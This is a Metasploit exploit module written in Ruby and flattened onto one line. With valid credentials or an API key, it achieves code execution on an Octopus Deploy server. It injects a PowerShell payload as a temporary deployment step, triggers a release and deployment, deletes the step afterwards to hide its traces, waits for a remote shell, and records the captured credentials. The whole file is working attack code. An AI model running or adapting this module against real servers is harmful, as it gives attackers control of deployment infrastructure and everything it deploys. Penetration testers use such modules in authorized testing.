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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/powershell' require 'json' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name'=> 'Octopus Deploy Authenticated Code Execution', 'Description' => %q{ This module can be used to execute a payload on an Octopus Deploy server given valid credentials or an API key. The payload is execued as a powershell script step on the Octopus Deploy server during a deployment. }, 'License' => MSF_LICENSE, 'Author'=> [ 'James Otten <jamesotten1[at]gmail.com>' ], 'References'=> [ # Octopus Deploy docs [ 'URL', 'https://octopus.com' ] ], 'DefaultOptions'=> { 'WfsDelay'=> 30, 'EXITFUNC'=> 'process' }, 'Platform'=> 'win', 'Targets' => [ [ 'Windows Powershell', { 'Platform' => [ 'windows' ], 'Arch' => [ ARCH_X86, ARCH_X64 ] } ] ], 'DefaultTarget' => 0, 'DisclosureDate'=> 'May 15 2017' )) register_options( [ OptString.new('USERNAME', [ false, 'The username to authenticate as' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username' ]), OptString.new('APIKEY', [ false, 'API key to use instead of username and password']), OptString.new('PATH', [ true, 'URI of the Octopus Deploy server. Default is /', '/']), OptString.new('STEPNAME', [false, 'Name of the script step that will be temporarily added']) ] ) end def check res = nil if datastore['APIKEY'] res = check_api_key elsif datastore['USERNAME'] && datastore['PASSWORD'] res = do_login else begin fail_with(Failure::BadConfig, 'Need username and password or API key') rescue Msf::Exploit::Failed => e vprint_error(e.message) return CheckCode::Unknown end end disconnect return CheckCode::Unknown if res.nil? if res.code.between?(400, 499) vprint_error("Server rejected the credentials") return CheckCode::Unknown end CheckCode::Appears end def exploit # Generate the powershell payload command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, use_single_quotes: true) step_name = datastore['STEPNAME'] || rand_text_alphanumeric(4 + rand(32 - 4)) session = create_octopus_session unless datastore['APIKEY'] # # Get project steps # print_status("Getting available projects") project = get_project(session) project_id = project['Id'] project_name = project['Name'] print_status("Using project #{project_name}") print_status("Getting steps to #{project_name}") steps = get_steps(session, project_id) added_step = make_powershell_step(command, step_name) steps['Steps'].insert(0, added_step) modified_steps = JSON.pretty_generate(steps) # # Add step # print_status("Adding step #{step_name} to #{project_name}") put_steps(session, project_id, modified_steps) # # Make release # print_status('Getting available channels') channels = get_channel(session, project_id) channel = channels['Items'][0]['Id'] channel_name = channels['Items'][0]['Name'] print_status("Using channel #{channel_name}") print_status('Getting next version') version = get_version(session, project_id, channel) print_status("Using version #{version}") release_params = { "ProjectId"=> project_id, "ChannelId"=> channel, "Version"=> version, "SelectedPackages" => [] } release_params_str = JSON.pretty_generate(release_params) print_status('Creating release') release_id = do_release(session, release_params_str) print_status("Release #{release_id} created") # # Deploy # dash = do_get_dashboard(session, project_id) environment = dash['Environments'][0]['Id'] environment_name = dash['Environments'][0]['Name'] skip_steps = do_get_skip_steps(session, release_id, environment, step_name) deployment_params = { 'ReleaseId'=> release_id, 'EnvironmentId'=> environment, 'SkipActions'=> skip_steps, 'ForcePackageDownload' => 'False', 'UseGuidedFailure' => 'False', 'FormValues' => {} } deployment_params_str = JSON.pretty_generate(deployment_params) print_status("Deploying #{project_name} version #{version} to #{environment_name}") do_deployment(session, deployment_params_str) # # Delete step # print_status("Getting updated steps to #{project_name}") steps = get_steps(session, project_id) print_status("Deleting step #{step_name} from #{project_name}") steps['Steps'].each do |item| steps['Steps'].delete(item) if item['Name'] == step_name end modified_steps = JSON.pretty_generate(steps) put_steps(session, project_id, modified_steps) print_status("Step #{step_name} deleted") # # Wait for shell # handler end def get_project(session) path = 'api/projects' res = send_octopus_get_request(session, path, 'Get projects') body = parse_json_response(res) body['Items'].each do |item| return item if item['IsDisabled'] == false end fail_with(Failure::Unknown, 'No suitable projects found.') end def get_steps(session, project_id) path = "api/deploymentprocesses/deploymentprocess-#{project_id}" res = send_octopus_get_request(session, path, 'Get steps') body = parse_json_response(res) body end def put_steps(session, project_id, steps) path = "api/deploymentprocesses/deploymentprocess-#{project_id}" send_octopus_put_request(session, path, 'Put steps', steps) end def get_channel(session, project_id) path = "api/projects/#{project_id}/channels" res = send_octopus_get_request(session, path, 'Get channel') parse_json_response(res) end def get_version(session, project_id, channel) path = "api/deploymentprocesses/deploymentprocess-#{project_id}/template?channel=#{channel}" res = send_octopus_get_request(session, path, 'Get version') body = parse_json_response(res) body['NextVersionIncrement'] end def do_get_skip_steps(session, release, environment, payload_step_name) path = "api/releases/#{release}/deployments/preview/#{environment}" res = send_octopus_get_request(session, path, 'Get skip steps') body = parse_json_response(res) skip_steps = [] body['StepsToExecute'].each do |item| if (!item['ActionName'].eql? payload_step_name) && item['CanBeSkipped'] skip_steps.push(item['ActionId']) end end skip_steps end def do_release(session, params) path = 'api/releases' res = send_octopus_post_request(session, path, 'Do release', params) body = parse_json_response(res) body['Id'] end def do_get_dashboard(session, project_id) path = "api/dashboard/dynamic?includePrevious=true&projects=#{project_id}" res = send_octopus_get_request(session, path, 'Get dashboard') parse_json_response(res) end def do_deployment(session, params) path = 'api/deployments' send_octopus_post_request(session, path, 'Do deployment', params) end def make_powershell_step(ps_payload, step_name) prop = { 'Octopus.Action.RunOnServer' => 'true', 'Octopus.Action.Script.Syntax' => 'PowerShell', 'Octopus.Action.Script.ScriptSource' => 'Inline', 'Octopus.Action.Script.ScriptBody' => ps_payload } step = { 'Name' => step_name, 'Environments' => [], 'Channels' => [], 'TenantTags' => [], 'Properties' => { 'Octopus.Action.TargetRoles' => '' }, 'Condition' => 'Always', 'StartTrigger' => 'StartWithPrevious', 'Actions' => [ { 'ActionType' => 'Octopus.Script', 'Name' => step_name, 'Properties' => prop } ] } step end def send_octopus_get_request(session, path, nice_name = '') request_path = normalize_uri(datastore['PATH'], path) headers = create_request_headers(session) res = send_request_raw( 'method' => 'GET', 'uri' => request_path, 'headers' => headers, 'SSL' => ssl ) check_result_status(res, request_path, nice_name) res end def send_octopus_post_request(session, path, nice_name, data) res = send_octopus_data_request(session, path, data, 'POST') check_result_status(res, path, nice_name) res end def send_octopus_put_request(session, path, nice_name, data) res = send_octopus_data_request(session, path, data, 'PUT') check_result_status(res, path, nice_name) res end def send_octopus_data_request(session, path, data, method) request_path = normalize_uri(datastore['PATH'], path) headers = create_request_headers(session) headers['Content-Type'] = 'application/json' res = send_request_raw( 'method' => method, 'uri' => request_path, 'headers' => headers, 'data' => data, 'SSL' => ssl ) res end def check_result_status(res, request_path, nice_name) if !res || res.code < 200 || res.code >= 300 req_name = nice_name || 'Request' fail_with(Failure::UnexpectedReply, "#{req_name} failed #{request_path} [#{res.code} #{res.message}]") end end def create_request_headers(session) headers = {} if session.blank? headers['X-Octopus-ApiKey'] = datastore['APIKEY'] else headers['Cookie'] = session headers['X-Octopus-Csrf-Token'] = get_csrf_token(session, 'Octopus-Csrf-Token') end headers end def get_csrf_token(session, csrf_cookie) key_vals = session.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/) key_vals.each do |name, value| return value if name.starts_with?(csrf_cookie) end fail_with(Failure::Unknown, 'CSRF token not found') end def parse_json_response(res) begin json = JSON.parse(res.body) return json rescue JSON::ParserError fail_with(Failure::Unknown, 'Failed to parse response json') end end def create_octopus_session res = do_login if res && res.code == 404 fail_with(Failure::BadConfig, 'Incorrect path') elsif !res || (res.code != 200) fail_with(Failure::NoAccess, 'Could not initiate session') end res.get_cookies end def do_login json_post_data = JSON.pretty_generate({ Username: datastore['USERNAME'], Password: datastore['PASSWORD'] }) path = normalize_uri(datastore['PATH'], '/api/users/login') res = send_request_raw( 'method' => 'POST', 'uri' => path, 'ctype' => 'application/json', 'data' => json_post_data, 'SSL' => ssl ) if !res || (res.code != 200) print_error("Login failed") elsif res.code == 200 report_octopusdeploy_credential end res end def check_api_key headers = {} headers['X-Octopus-ApiKey'] = datastore['APIKEY'] || '' path = normalize_uri(datastore['PATH'], '/api/serverstatus') res = send_request_raw( 'method' => 'GET', 'uri' => path, 'headers' => headers, 'SSL' => ssl ) print_error("Login failed") if !res || (res.code != 200) vprint_status(res.body) res end def report_octopusdeploy_credential service_data = { address: ::Rex::Socket.getaddress(datastore['RHOST'], true), port: datastore['RPORT'], service_name: (ssl ? "https" : "http"), protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, private_type: :password, private_data: datastore['PASSWORD'].downcase, username: datastore['USERNAME'] } credential_data.merge!(service_data) credential_core = create_credential(credential_data) login_data = { access_level: 'Admin', core: credential_core, last_attempted_at: DateTime.now, status: Metasploit::Model::Login::Status::SUCCESSFUL } login_data.merge!(service_data) create_credential_login(login_data) end end |
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